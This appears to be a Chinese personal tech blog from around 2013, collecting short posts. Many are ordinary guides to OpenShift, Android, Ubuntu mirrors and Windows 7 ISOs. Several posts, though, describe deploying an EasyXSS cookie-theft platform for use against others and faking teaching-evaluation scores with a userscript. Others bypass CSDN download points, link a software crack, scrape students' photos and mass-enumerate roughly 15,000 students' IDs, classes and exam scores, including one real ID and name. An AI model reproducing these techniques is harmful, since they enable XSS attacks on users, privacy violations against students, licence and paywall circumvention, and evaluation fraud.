分析了评教的页面,就是调用了个onsubmit的函数,然后进入评教页面,然后填入分数神马的,再submit一个表单。

$("input[type='submit']").trigger("click");  自动提交,做个判断,然后执行onclick函数,跳转之后设置随机分数,然后再度提交。。。。懒得写那么多了,就这样把!

// ==UserScript==
// @name      JiangCai Teaching Evaluation
// @namespace  http://dlinux.sinaapp.com
// @include        http://portal7.jxufe.edu.cn/portal/main.xsp/page/-1/?.a.p=aT0lMkZ4Znpwb3J0YWwlMkZwZ25ldyZ0PXImcz1ub3JtYWwmZXM9ZGV0YWNoJm09dmlldw%3D%3D&mlinkf=pg%2Fpg.jsp
// @version    0.1
// @description  江财一键评教  请从这个地址登入 http://portal7.jxufe.edu.cn
// @match      
// @copyright  2013+,双人份,fjjwlzd@163.com
// @require     http://code.jquery.com/jquery-1.9.1.min.js
// ==/UserScript==

//随机80几分
var rs =function(){
   return parseInt(Math.random()*10+80);
}

$("input[name='teachattitude']").val(rs);
$("input[name='teachmethod']").val(rs);
$("input[name='teacheffect']").val(rs);
$("input[name='teachcontent']").val(rs);
$("input[name='coursepleased']").val(rs);
$("input[name='teachjc']").val(rs);

$("textarea[name='stmemo']").val("十分不错");
$("textarea[name='jcmemo']").val("不喜欢这种的教程");
$("textarea[name='coursememo']").val("不是很想在这个时候上,应该早一年");

//$("input[type='submit']").trigger("click");   //自动点击?还是自己修改一番把

openshift部署python环境及端口问题

https://github.com/openshift/openshift-diy-py27-django

按照这个方式可以部署python2.7

Create a new OpenShift app:

  • rhc app create -a &lt;app_name&gt; -t diy-0.1
    Login to the application host using the credentials from the above command. It will look likessh://c8812345:123214@&lt;app_name&gt;-namespace.rhcloud.com:

  • ssh c8812345:123214@&lt;app_name&gt;-namespace.rhcloud.com
    Change into the application tmp directory:

  • cd $OPENSHIFT_TMP_DIR
    Download Python2.7 and extract:

  • wget http://python.org/ftp/python/2.7.3/Python-2.7.3.tar.bz2

  • tar jxf Python-2.7.3.tar.bz2
    Build and install Python

  • ./configure --prefix=$OPENSHIFT_DATA_DIR

  • make ; make install
    Export new Python path for later configuration (you will need to run this if you logout, etc.):

  • export PATH=$OPENSHIFT_DATA_DIR/bin:$PATH
    Check that new Python is used (should be Python 2.7.3):

  • python -V
    Install setuptools and pip

  • cd $OPENSHIFT_TMP_DIR

  • wget http://pypi.python.org/packages/source/s/setuptools/setuptools-0.6c11.tar.gz
  • tar zxf setuptools-0.6c11.tar.gz
  • cd setuptools-0.6c11
  • python setup.py install
  • cd $OPENSHIFT_TMP_DIR
  • wget http://pypi.python.org/packages/source/p/pip/pip-1.1.tar.gz
  • tar zxf pip-1.1.tar.gz
  • cd pip-1.1
  • python setup.py install
    端口绑定的问题

openshift 不是每个端口都可以对外的。大部分你熟悉的端口都已经在内外两边都为官方应用保留了,内部你只可以用 15000 – 35530,对外只可以 bind 到 ${OPENSHIFT_INTERNAL_PORT} 也就是 8080,会通过 80 端口转发给外部。

 

使用 $ rhc port-forward -a applicationName 则可以将端口转发到本地

Android应用编程之Override错误

i一、java @override 报错处理

有时候在自己电脑上编译通过的java代码,在别人那里却编译不通过,总是@override报错,把@override去掉就好了,但不能从根本上解决问题。

据说这是jdk的问题,@Override是JDK5就已经有了,但有个小小的Bug,就是不支持对接口的实现,认为这不是Override 而JDK6修正了这个Bug,无论是对父类的方法覆盖还是对接口的实现都可以加上@Override。

首先要确保安装了jdk 1.6,


然后,在eclipse中修改配置,在 Windows->Preferences–>java->Compiler–>compiler compliance level 中选择 1.6,刷新工程,重新编译下;

如果还是不行,就在报错的工程上,鼠标右键选择 Properties–>Java Compiler–>compiler compliance level 中选择 1.6,刷新工程,重新编译下。


二、Android之@Override详解



Android的开发者对@Override肯定是非常熟悉,不管是自己的代码中还是书上都会出现,但是他是什么意思呢?如下:
@Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处:
1、可以当注释用,方便阅读
2、编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法)
example:

在重写父类的onCreate时,在方法前面加上@Override系统可以帮你检查方法的正确性。例如:

publicvoidonCreate(BundlesavedInstanceState){…….}
这种写法是正确的,如果你写成
publicvoidoncreate(BundlesavedInstanceState){…….}
这样编译器会报如下错误——
Themethodoncreate(Bundle)oftypeHelloWorldmustoverrideorimplementasupertypemethod,
以确保你正确重写onCreate方法。(因为oncreate应该为onCreate)
而如果你不加@Override,则编译器将不会检测出错误,而是会认为你新定义了一个方法oncreate。

openshift用ssh登陆后的目录结构

之前把博客挂在sae上面- -不过速度还真是慢的可以- -

最近发现openshift好像还不错,还支持ssh,所以决定弄过去

折腾了一天弄openshift,ssh登陆功能比较强大

不过ssh登上去之后权限比较少,能访问的目录没几个

首先是/tmp/,临时文件目录,这个目录里面的文件10天不访问就会被自动删除

然后就是home目录~,具体路径是/var/lib/openshift//var/lib/openshift/3b67be8bfb3c4af9ac5348b6aeaabb91,其中3b67be8bfb3c4af9ac5348b6aeaabb91是一串随机的字符串,每个不同的应用都不一样

除了这个目录之外其他目录的权限都很少,要么只能读,要么连读都没法- -

在home目录下面,有app-root cron-1.4 git mysql-5.1 php-5.3这几个目录,从名字就很容易看出来每个目录是干嘛的,在cron,mysql跟php目录下面,主要是相应的配置文件,git下面是应用对应的git库,另外home目录本身我们是没有权限对齐进行写入的,也就是没办法添加或删除这个目录下的文件

然后app-root下面就是应用的数据了,里面有data,repo跟runtime三个文件夹,data里面的数据是永久保存的,repo是个符号链接,其正式路径是~/runtime/repo,里面的数据就是git push上去的东西,如果wordpress之类的东西把附件放在这个目录的子目录下面,push新代码之后数据就会丢失!runtime下面有repo文件夹,以及前面data文件夹的符号链接,和一个.state文件,里面是当前应用的状态

由于repo里面的东西,每次push之后就会丢失,所以保险起见,我把wp-contest文件夹整个移动到data下面,再在repo里面弄了一个符号链接,这样每次重新push就不会出现这个问题

在~下面还有隐藏文件夹.env,里面都是环境变量配置的一些文件,都是只读的,有个脚本USER_VARS,它会

从.uservars的脚本里面读相应的环境变量

但是我试了一下,.uservars打不开,官方在https://bugzilla.redhat.com/show_bug.cgi?id=883317里面说暂时还没开放这个功能- -

网上很多利用ssh管理openshift空间的帖子中,大都直接把数据放在repo里面,这样万一不小心用git push了一次,数据就全部丢失了,随意最好还是把有用的数据放在data里面之后做符号链接,为了方便,可以再git的脚本里面添加相应的代码

如果嫌麻烦,为了保险起见,最好想办法把git的功能禁用掉- -我在网站里面没找到相应的选项,干脆就把git文件夹下面的东西都删了- -这样再对空间进行git操作就会报错- -结果就是没法用git上传代码了- -

解决缺少R文件

首先确定你的SDK是新的。

其次接下来检查你的.xml文件,文件名不能大写。

如果xml文件太多 ,那么clean一下你的项目,这时候注意看Console的提示。

Console会提示你xml文件错误在哪里

修改完xml文件之后

clean你的项目,再build你的项目

R.java会重新出现或更新

Openshift上mysql挂了,如何解决?

ps -ef | grep -i mysqld 查看mysql是否启动,有显示就是启动了。

然后重启一下mysql https://www.openshift.com/forums/openshift/can-not-connect-to-mysql-in-application-node-0请看5楼

 

Your database inside OpenShift cannot be reached directly from public Internet for security reason. That’s working as designed.

Another scenario, I tried and it worked well both ways when connecting mysql database inside the app:

mysql -h"$OPENSHIFT_DB_HOST" -P"$OPENSHIFT_DB_PORT"

or just mysql

Maybe you can try to restart your mysql database by rhc cartridge restart mysql-5.1 -a $app_name or restart your app by rhc app restart -a $app_name. Then check if it works.

 

在windows上安装rhc ,然后restart一下mysql 和app,当时并没有解决,但是第2天就连接成功了。

使用这句话也可以连接数据库,当然这是官方推荐的方法 mysql -h”$OPENSHIFT_DB_GEAR_DNS” -P”$OPENSHIFT_DB_PORT”

在Openshift论坛上提问了,虽然不是这样结局的,但是其中一个回复告诉了如何备份mysql,留着看看吧。

https://www.openshift.com/forums/openshift/can-not-find-mysql-server

 

Just as an example, here is how I take backup of my MYSQL database running in OpenShift environment and bring its copy to my laptop:

0) preparation step. Collect connection information (SSH to your application gear, execute following commands)

set | egrep MYSQL
echo $OPENSHIFT_APP_NAME
exit

Do not forget to update your rhc gem: gem update rhc

1) establish port-forwarding from your desktop rhc port-forward -a myapp. Run it in first terminal window

2) Take backup of database (run it from second terminal window):

export OPENSHIFT_APP_NAME=myapp
export OPENSHIFT_MYSQL_DB_USERNAME=admin
export OPENSHIFT_MYSQL_DB_PASSWORD=”very_very_secure_password”
export OPENSHIFT_MYSQL_DB_HOST=”127.0.0.1”
export OPENSHIFT_MYSQL_DB_PORT=60696

mysqldump –add-drop-table –order-by-primary –compress –lock-tables –host 127.0.0.1 –port 60696 –single-transaction -u $OPENSHIFT_MYSQL_DB_USERNAME -p”$OPENSHIFT_MYSQL_DB_PASSWORD” $OPENSHIFT_APP_NAME > ${OPENSHIFT_APP_NAME}.sql
Good luck, Boris

csdn免积分下载器

最早是wooyun上讨论的

http://zone.wooyun.org/content/3354

 

在线版,利用帐号登入的

http://124.146.62.26:18250/

 

就是csdn上下载的api

http://download.csdn.net/index.php/rest/source/getsourceinfo/5275116

QQ20130426004612

 

另外一个在线版,解析这个api的

http://sharingcode.sinaapp.com/index.php/c/csdn/index

 

有基友写好了一个油猴脚本,GreaseMonkey,我用的chrome,tampermonkey也一样使用

 

// ==UserScript==
// @name CSDN免积分下载
// @description 免积分 懂的
// @include http://download.csdn.net/detail/*
// @include http://download.csdn.net/download/*
// @version 0.0.1
// @require http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js
// @grant GM_xmlhttpRequest
// @author 那个用就是那个的
// @license MIT License
// ==/UserScript==
(function() {
var id = location.pathname.match(/\d+/)[0];
var isGetAddress = false;
var $download = $(‘.res_down_area .left’).after(‘<a href=”javascript:void(0)”>免积分下载</a>’).next();
$download.click(function() {
if (isGetAddress) {
return;
}
GM_xmlhttpRequest({
method: ‘GET’,
url: ‘http://download.csdn.net/index.php/rest/source/getsourceinfo/‘ + id,
onload: function (response) {
$download.attr(‘href’, localStorage[id] = JSON.parse(response.responseText).url);
isGetAddress = true;
$download.html(‘开始下载’);
}
});
});
})();

QQ20130426005156测试可用,我也省的写了,嘿嘿

如何生成类似chrome首页的网页快照,截图,缩略图

网上找了很多,php有一个函数imagegasscreen,可以实现,但是windows only。测试中也一直是黑屏的。

后来找了其他的许多方式。




javascript实现,客户端呈现,但是我想要的是能截图并保存下来的




最后找到了这个:

phantomjs,比较好




examples目录下有js,执行bin文件就ok





phantomjs rasterize.js http://raphaeljs.com/polar-clock.html clock.png


_
我连上ssh来试一下。

wget “phantomjs-1.9.0-linux-i686.tar.bz2”
tar -zvfj phantomjs-1.9.0-linux-i686.tar.bz2
cd phantomjs-1.9.0-linux-x8664/bin

./phantomjs ../examples/rasterize.js http://raphaeljs.com/polar-clock.html clock.png

然后看这里,QQ20130422235735



GAE全局代理

使用这个软件,可以将gae应用到所有的软件设置上。
http://www.proxycap.com/index.html
看下介绍。
ProxyCap enables you to redirect your computer’s network connections through proxy servers. You can tell ProxyCap which applications will connect to the Internet through a proxy and under what circumstances. This is done through a user friendly interface, without the need to reconfigure any of your Internet clients. ProxyCap has native support for the SSH protocol, allowing you to specify a SSH server as the proxy server.

破解补丁

http://www.astray.cn/proxycap-crack-patch/

去掉Evernote左下角广告

最近开始用evernote,发现还是不错的,就是广告和流量限制不怎么舒服。

流量没办法,想办法去掉广告吧。

广告似乎不是写xml的,然后就网上找找。 52pojie上看到了 分析的文章。

http://www.52pojie.cn/forum.php?mod=viewthread&tid=144635

由此可以看到,其实他的窗口创建都是去读相对应的类名找到对应类去注册 就像一张对应表把 比如通过类名E.N.A.d.B.r.o.w.s.e.r.C.t.r.l –> 通过GetClassInfoExW 去查询 发现这个类名存在
然后就去RegisterClassEx

打开 WINHEX 载入Evernote.exe 搜索 16进制值 45004E0041006400420072006F0077007300650072004300740072006C

 

照做,不过winhex找不到,可以使用其他的编辑软件搞定。我就不分析了,成功了都。

FaceJoking数据抓取分析

做一个应用,打算加上高校的一些美女作为数据。人人的api真心不好懂。来回跳的,还有限制。 索性就到这里来拉数据了。http://www.facejoking.com

当初这个网站应该很出名的吧。 先用清华大学来看看。看看清华的美女吧。QQ20130316011950

选中后跳转到 http://www.facejoking.com/1001/0这个地址,前面翻看一下源码,没有任何数据,好吧,打开burp 抓个包看看。

看到没,http://www.facejoking.com//api/main/1001/0/44/1,明显是调用api,我们访问看看。

QQ20130316012225

看到数据了。json格式的,一看就知道了,这是他会加载的首页数据。后面medium就是头像了。但是这个地址。。

QQ20130316012815

现格式化看一下,名字和首页一模一样,我们可以确定了。这个地址呢通过首页页面元素分析得到2个地址。QQ20130316012859

一个是http://www.facejoking.com/pic/992660.jpg 这个地址通过pid可以访问头像,(这是大图)

另一个是http://www.facejoking.com/uploads/m/gDnfqfeCKgHhuIg2qnbLjjW7MGxqnUzU,不过这个是小图,后面的height就是他的高度

QQ20130316013111

然后点开其他的学校,继续分析。最后我确定了他url的规则。

http://www.facejoking.com/api/main/1001/0/44/1

http://www.facejoking.com/api/main/学校编码/0(女) &1(男)/44(随机的一个值,字母都行,无论位数都不影响)/1(第一页)

第3个段的值我们可以验证一下,我分别测试了99,999,9999,0,g这几个数字,根据返回值中的pid,访问这样的页面,就可以看到这个人是哪个学校的。http://www.facejoking.com/people/992660,似乎真的没影响。

其实可以通过遍历这个id,来抓取所有同学的学校,然后数据库里通过学校。。。。(pid从1开始,测试没到150w)

这个就简单,火车头都行,不用我写代码了。但是为了以后通用,还是写个php采集吧。

然后我们可以通过学校编码来遍历了。再来弄弄学校编码的规则。分析源代码,没有找到,数据包也没看到有,所以应该是写js里面,排除几个js后,我们锁定这一个js。

http://www.facejoking.com/resources/js/main.js?v=73e1913b3cfc1dbaf1885969bc365850

翻看了一会,发现这个学校json数据了。QQ20130316020427

一共34个id,刚好34个省份,似乎不能这么说。然后就到写代码的部分了。

修改Ubuntu更新源为网易源

cd /etc/apt/
sudo wget http://mirrors.163.com/.help/sources.list.lucid #Ubuntu 10.04
sudo wget http://mirrors.163.com/.help/sources.list.maverick #Ubuntu 10.10
sudo wget http://mirrors.163.com/.help/sources.list.natty #Ubuntu 11.04
sudo wget http://mirrors.163.com/.help/sources.list.oneiric #Ubuntu 11.10
sudo wget http://mirrors.163.com/.help/sources.list.precise #Ubuntu 12.04
sudo rm -rf sources.list
sudo mv sources.list.xxxxx sources.list

 

 

完成后输入sudo apt-get upgrade就能更更新了。

打造windows7sp1 32位和64位 2合1光盘

32位的镜像是2g多,一张光盘4.7g,所以我就打算把2个和一起来刻一张盘。

网上的下的不放心。过程如下

1.下载光盘镜像
下载官方原版msdn简体中文版光盘镜像:
cn_windows_7_ultimate_with_sp1_x86_dvd_618763.iso(32位)
cn_windows_7_ultimate_with_sp1_x64_dvd_618537.iso(64位)
2.提取install.wim
把镜像操作软件imagex解压到windows/system32;
用UltraISO软件分别打开32位和64位镜像,定位到sources目录下。
提取install.wim到x:\sources目录下:
32位 install.wim 重命名为 installx86.wim
64位 install.wim 重命名为 installx64.wim
3.合并install.wim
制作合并多版本的install.wim文件,打开命令提示符,运行以下命令:
imagex /export x:\sources\installx86.wim 1 x:\install.wim “Windows 7 X86 STARTER”
imagex /export x:\sources\installx86.wim 2 x:\install.wim “Windows 7 X86 HOMEBASIC”
imagex /export x:\sources\installx64.wim 1 x:\install.wim “Windows 7 X64 HOMEBASIC”
imagex /export x:\sources\installx86.wim 3 x:\install.wim “Windows 7 X86 HOMEPREMIUM”
imagex /export x:\sources\installx64.wim 2 x:\install.wim “Windows 7 X64 HOMEPREMIUM”
imagex /export x:\sources\installx86.wim 4 x:\install.wim “Windows 7 X86 PROFESSIONAL”
imagex /export x:\sources\installx64.wim 3 x:\install.wim “Windows 7 X64 PROFESSIONAL”
imagex /export x:\sources\installx86.wim 5 x:\install.wim “Windows 7 X86 ULTIMATE”
imagex /export x:\sources\installx64.wim 4 x:\install.wim “Windows 7 X64 ULTIMATE”
现在已将32位和64位的所有版本合并在一个install.wim镜像里了,共9个版本。
4.修改版本描述
修改各个不同版本的描述,运行以下命令:
imagex /info x:\install.wim 1 “Windows 7 X86 STARTER” “Windows 7 简易版”
imagex /info x:\install.wim 2 “Windows 7 X86 HOMEBASIC” “Windows 7 家庭基础版 32位”
imagex /info x:\install.wim 3 “Windows 7 X64 HOMEBASIC” “Windows 7 家庭基础版 64位”
imagex /info x:\install.wim 4 “Windows 7 X86 HOMEPREMIUM” “Windows 7 家庭高级版 32位”
imagex /info x:\install.wim 5 “Windows 7 X64 HOMEPREMIUM” “Windows 7 家庭高级版 64位”
imagex /info x:\install.wim 6 “Windows 7 X86 PROFESSIONAL” “Windows 7 专业版 32位”
imagex /info x:\install.wim 7 “Windows 7 X64 PROFESSIONAL” “Windows 7 专业版 64位”
imagex /info x:\install.wim 8 “Windows 7 X86 ULTIMATE” “Windows 7 旗舰版 32位”
imagex /info x:\install.wim 9 “Windows 7 X64 ULTIMATE” “Windows 7 旗舰版 64位”
5.重命名clg文件
提取clg文件,用UltraISO软件分别打开32位和64位镜像,定位到sources目录下,
复制clg文件到x:\sources目录下:
32位光盘镜像中的clg文件
install_Windows 7 Starter.clg 重命名为 install_Windows 7 Starter X86.clg
install_Windows 7 Homebasic.clg 重命名为 install_Windows 7 Homebasic X86.clg
install_Windows 7 Homepremium.clg 重命名为 install_Windows 7 Homepremium X86.clg
install_Windows 7 Professional.clg 重命名为 install_Windows 7 Professional x86.clg
install_Windows 7 Ultimate.clg 重命名为 install_Windows 7 Ultimate X86.clg
64位光盘镜像中的clg文件
install_Windows 7 Homebasic.clg 重命名为 install_Windows 7 Homebasic X64.clg
install_Windows 7 Homepremium.clg 重命名为 install_Windows 7 Homepremium X64.clg
install_Windows 7 Professional.clg 重命名为 install_Windows 7 Professional x64.clg
install_Windows 7 Ultimate.clg 重命名为 install_Windows 7 Ultimate X64.clg
6.替换install.wim和clg文件
用UltraISO软件打开32位光盘镜像,定位到sources目录下,
删除:
install.wim
添加(合并后的):
install.wim
删除:
install_Windows 7 Homebasic.clg
install_Windows 7 Homepremium.clg
install_Windows 7 Professional.clg
install_Windows 7 Ultimate.clg
添加:
install_Windows 7 Starter X86.clg
install_Windows 7 Homebasic X86.clg
install_Windows 7 Homepremium X86.clg
install_Windows 7 Professional x86.clg
install_Windows 7 Ultimate X86.clg
install_Windows 7 Homebasic X64.clg
install_Windows 7 Homepremium X64.clg
install_Windows 7 Professional x64.clg
install_Windows 7 Ultimate X64.clg
删除:
ei.cfg
然后另存为新的镜像,即成为包含32位和64位共9个不同版本的光盘镜像,安装时可选择9种不同的版本。

这是最后制作成功的一些文件。 顺便把它丢这里了。MyWin7Iso(提示有病毒,不让放,虽然知道不是,只能删除了)

QQ20130326235725

查询天气

给微信公众平台添加的一个小功能。实现查询天气。 百度得到3个地址接口,当然也可以用google,yahoo的,但是发现只有这一个是json的。所以我就用这个了。

http://www.weather.com.cn/data/sk/101281601.html

http://www.weather.com.cn/data/cityinfo/101281601.html

http://m.weather.com.cn/data/101281601.html

然后继续百度到一个城市列表,这个网站也没有提供什么api,只有这样了。把这个id表存入数据库吧。

挺麻烦的,不过我还是用excel+php+mysql搞定了。

先用excel拆分一下。

QQ20130319234120

然后写个php,提取一下里面的数据。

<?php

$fp = fopen (‘cityid.txt’, “r”);
if($fp){
while(!feof($fp)){
$line1=fgets($fp,4096);
$name=split(‘ ‘,$line1);

$line2=fgets($fp,4096);
$id=split(‘ ‘,$line2);

for($i=0;$i<count($name);$i++){
$current.= ‘(“‘.$name[$i].’”,’.$id[$i].’),’;

}
}
}else echo’wrong’;
file_put_contents(‘result.txt’, $current);
fclose($fp);
?>

这个过程真心麻烦。然后实现查询功能。
<?php
//101240101 南昌id
header(“Content-Type: text/html;charset=utf-8”);
function getWeather($id){
$fetch= new BaeFetchUrl();

$fetch->get(“http://m.weather.com.cn/data/".$id.".html“);

$obj=json_decode($fetch->getResponseBody());

$value=$obj->weatherinfo->city.’ ‘.$obj->weatherinfo->date_y.’ ‘.$obj->weatherinfo->temp1.’ ‘.$obj->weatherinfo->weather1.’ ‘.$obj->weatherinfo->index_d;

return $value;
}
?>

 

看得到我这里使用了bae上的函数。

最后放个文件到这里吧。天气处理

火车头采集器【本次纯属测试】

 

首先申明一下,此次纯属测试,没有任何不良用途。

不知道为什么对采集很敢兴趣,先用火车头采集一点东西吧。

主要是要写采集模块,但是前面写过phpcms和dedecms的采集规则,现在就比较简单了。

看草榴的网址,http://1024dizhi.tk/thread0806.php?fid=7&search=&page=2 显然修改page后面的就可以访问下一页了。所以从2开始到最后一页,不过我发现非注册用户只能访问前100页,我的帐号也登不上去了。o(︶︿︶)o 唉就抓100页把,后面的大部分图床都挂掉了。

QQ20130312230639

 

QQ20130312230734

 

然后编写内容网址采集规则,每条内容页都是这样的形势,他在最后用了一个javascript进行拼接,所以我们就要自己写规则,拼接地址QQ20130312231245

设置成这样的,看图就行了,记得保存QQ20130312231212

然后我们进到内容页,发现文章开始的标签是tpc_content,标题的开始标签是<h4>,注意这些不能有重复。然后就可以写规则开始采集了。

QQ20130312231528

QQ20130312231428

之后我挂了一晚上,线程不敢开太多,怕封ip,抓取了5000条数据。

QQ20130312233110

再然后就是发布了,可以选择数据入数据库,也可以选择发布到web上去。但是呢,进入数据库要分析表结构,太懒,不相干,就web发布吧。这样效率特别低,不过丢这也不用管,就这样了呗。

现在写发布过程

先把dedecms安装好,其他的phpcms之类的也一样,安装也不用说了吧。

进入后先个增加这些个栏目,别看我这个网站,我只是想要一个木有广告的自己用。。

Image

选择dedecms5.7的发布模块,编码是utf8,看版本决定,然后把网站根目录写进来,

Image2

点击登入,抓到cookies,点确定,然后保存配置。

Image3

然后选择一个任务,进行编辑,定位到发布设置,然后3个步骤改一下。保存之。

Image4

最后我们到网站上看一下效果

QQ20130312233941

QQ20130312234204

再次申明一下,此次纯属测试,没有任何不良用途。

如果有人用于非法用途,与本博客无关。


 

easyxss平台搭建

bae上搭建easyxss【如果不是bae,sae上就不需要】

@昵称 目测bae和sae都是要使用重写功能
bae 修改 app.conf
格式:
- url : /member/(.+)$
script : member.php?mid=$1


sae修改 config.yaml
格式:
- rewrite: if( path ~ “^feed$” ) goto “feed.php”


测试发现,bae上搭建不了。应该要修改thinkphp,所以使用phpcloud来搭建。



App/Conf/config.php 配置文件


<?php
return array(
‘DEFAULT_MODULE’ => ‘User’,
‘URL_MODEL’ => ‘0’, //这里改成0,原来是2,具体设置请参考THINKPHP配置说说明
‘SESSION_AUTO_START’ => true,
‘DB_DSN’ => ‘mysql://root:toor@127.0.0.1:3306/xss’, //数据库链接信息,用户名@密码,最后的是数据库名
‘DBPREFIX’ => ‘xss‘,
‘MAIL_ADDRESS’=>’info@xss.tw’,
‘MAIL_SMTP’=>’smtp.gmail.com’,
‘MAIL_LOGINNAME’=>’info@xss.tw’,
‘MAIL_PASSWORD’=>’’,
‘MAIL_SENDER’=>’info’,
‘MAIL_PORT’=>’465’,
‘TMPL_PARSE_STRING’ =>array(
SITENAME‘ =>’EasyXSS 1.0’,
SITETITLE‘=>’EasyXSS’,
),
);
?>


wwwroot目录是web根目录,wwwroot/index.php定义了framework与application的路径,你改了就要跟着改。


<?php
define(‘APP_NAME’, ‘./XSS’);
define(‘APP_PATH’, ‘./../App/‘); //App那个文件夹的路径,改掉了就跟着改
define(‘APP_DEBUG’, true); //debug开关require ‘./../ThinkPHP/ThinkPHP.php’; //thinkphp framework 的路径?>


data.sql导入数据库,这里不说了。



有一个邀请码:1234567890
请注册名字为:root的用户,才能生成邀请码


注册一个用户名为root的用户,

邀请码生成URL:/Key/createKey/count/1/type/1
count为数量,type为类型:0为自助申请,1为手动发放的邀请码,不被自助申请获得到


界面模仿xsser.me,PHP代码没参考任何其他平台,所以写得很烂。现在的新版本基本上重写,主要方面是用户权限控制,使用类的继承,方便多了。keepsession: 定期访问 /Xssresult/Keepsession 即可,或者定期执行Keepsession文件夹下的php脚本。




phpcloud申请账号,然后创建一个app。

然后会得到一个key,.ppt的这时候用winscp连上去。

,地址如下,很多都是你设置的容器的名字。

如下图
3

 

然后将这个我修改好的easyxss平台代码丢上去,修改所有目录属性为777。不然会提示run error,因为没有写入权限。

4

 

然后修改conf文件,最好用notepad++修改好了再覆盖上去。不然会有其他的错误

Assuming your container name is **_mycontainer_**, you should use the following credentials to connect to your database:

Database host:mycontainer-db.my.phpcloud.com Database port: 3306
Database schema name:mycontainer Database user:mycontainer
*Database password: your container password导入mysql数据库,可以使用phpadmin或者ssh的方式

5
我导入的是去掉iptables的,因为他这个ip表有20多m,不好上传。等我回寝室再导入把。

1(1)

然后进入dnspod,把域名绑定以下。

 

将域名cname到 mycontainer.my.phpcloud.com,就是你可以直接访问的地址。

6 1(1)

现在就可以通过绑定的域名进行访问了。

2(1)

 

然后要注意的是phpcloud必须要每天登入一次来激活,这个可以使用我们的监控宝来完成




到此我们就完成平台搭建的所有工作,然后可以使用url缩短服务,尽情的xss去吧。


微信平台酱菜小助手

今天总算把4级的查询移到微信平台上去了。以前感觉很神器,原来也就是分词,然后返回一个数据。

系统内置了一些功能,不过我们是要查询cet4,6级 还是要自定义返回数据格式才好。

先去注册一个公众帐号,这个公众平台和开放平台是不一样的

QQ20130310025443然后捏,进入高级设置后,进入里面的编辑模式关闭掉,然后进入开发者模式,打开此模式。

这里需要有一个空间才行,可以把我们的接口文件丢这里。

QQ20130310025523

我用的是bae,sae,openshift什么的都可以。刚好今天令了bae发放的1000元现金券。

QQ20130310025547

 

在里面填入中转接口的地址,weixin这个在php里面设置。

QQ20130310102712给个地址吧。https://github.com/xhxu/weixin,可以使用这个。

里面的代码很简单了,先把消息体剥离一下,通过空格分离出keyword,然后进行操作。

//分词处理,通过空格 剥离$keyword
$keyword = $weixin->msg[‘Content’];
$keyword=explode(“ “,$keyword);

代码感觉没什么看的,我给添加了一个mysql查询的语句,就可以返回4,6级成绩了。

输入 【help】 可以获取帮助,输入 【cet 学号】(中间有空格哦),可以获取4,6级成绩

2

 

大家可以搜索 酱菜小助手,或者扫描如下2维码,添加关注。

qr

 

江财微信平台

试了一下采集

想采集1024的,他地址是用脚本生成的,不会改。

后面就随便找了一个站,来试试。

火车头一直采不到内容,但是同样的规则我用phpcms就可以采集到

QQ20130302214216

 

 

晚上采集一下电影试试

 

继续昨天的4级查询

后面他写了一个通过学号查询成绩的,然后我们打算完善一下这个,最好可以显示班级,之后被路人甲告知有一个地方能查到学生的学号和班级,于是乎。。

这个真心佩服,首先进入学生通道旁边的教师通道。然后查询课程。这里可以查询所有的开放课程,没验证,然后查询 品行修养这每个班都有的课程就可以得到所有的班级列表,然后遍历所有连接,就可以得到所有班级的学生信息。

一共321个班级 大概有1w5的学生。QQ20130302203519 QQ20130302203554

QQ截图20130302204725

 

这个还真没发现过。用昨天写的程序来跑吧,然后再过滤内容。还是先学一下正则吧。

批量拉取CET4,6级成绩

今天4级成绩出来了,考了3趟啊,总算过了。

话说第一次考424然后426过的没几个人吧。暗爽

一个同学问我js好不,一问才知道他想批量拉取cet4,6级成绩。

好吧,我弄了一下午的采集也没什么成果,就干这个吧。

brup抓包看看,post的数据,只要我们把这个发过去就会返回结果了。

他用sina的fetchurl,(还真没用过),没成功。

我用nc发包过去,能成功。所以是他代码的问题。

看了看他没成功的原因是没有加入referer:。

 

POST /s HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; U; zh-cn) Presto/2.10.229 Version/11.64
Host: cet.99sushe.com
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://cet.99sushe.com/
Cookie: CNZZDATA30023677=cnzz_eid%3D2104667147-1362148509-http%253A%252F%252Fcet.99sushe.com%26ntime%3D1362148509%26cnzz_a%3D0%26retime%3D1362148581357%26sin%3D%26ltime%3D1362148581357%26rtime%3D0; searchtime=1362148702
Connection: Keep-Alive
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

id=360032122111423&name=%D6%DC%D0%C7

 

其实我一看就知道了,然后告诉他怎么做。自己也写了一个脚本。

发这些就够了,吐槽一下99sushe,广告太多了,内部人员弄的吧。

POST /s HTTP/1.1
User-Agent: Socket Example
Host: cet.99sushe.com
Referer: http://cet.99sushe.com/
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

id=360032122111423&name=%D6%DC%D0%C7

 

下面看代码

function getCet($ID,$NAME)
{

$srv_ip = ‘cet.99sushe.com’;//目标服务地址
$srv_port = 80;
$url = ‘/s’; //post的URL
//$post_str = “id=360032122111423&name=%D6%DC%D0%C7”;//要提交的内容.
$post_str = “id=”.$ID.”&name=”.$NAME;
$fp = ‘’;
$resp_str = ‘’;
$errno = 0;
$errstr = ‘’;
$timeout = 10;

//echo $url_str;
if ($srv_ip == ‘’ || $url == ‘’){
echo(‘ip or dest url empty<br>’);
}
//echo($srv_ip);
$fp = fsockopen($srv_ip,$srv_port,$errno,$errstr,$timeout);
if (!$fp){
echo(‘fp fail’);
}
$content_length = strlen($post_str);
$post_header = “POST $url HTTP/1.1\r\n”;
$post_header .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$post_header .= “User-Agent: MSIE\r\n”;
$post_header .= “Host: “.$srv_ip.”\r\n”;
$post_header .= “Referer: http://cet.99sushe.com/\r\n“;
$post_header .= “Content-Length: “.$content_length.”\r\n”;
$post_header .= “Connection: close\r\n\r\n”;
$post_header .= $post_str.”\r\n\r\n”;

 

fwrite($fp,$post_header);
// while(!feof($fp)){
// $resp_str .= fgets($fp,512);
// }

for($i=0;$i<8;$i++){
$aa.= fgets($fp,512);}
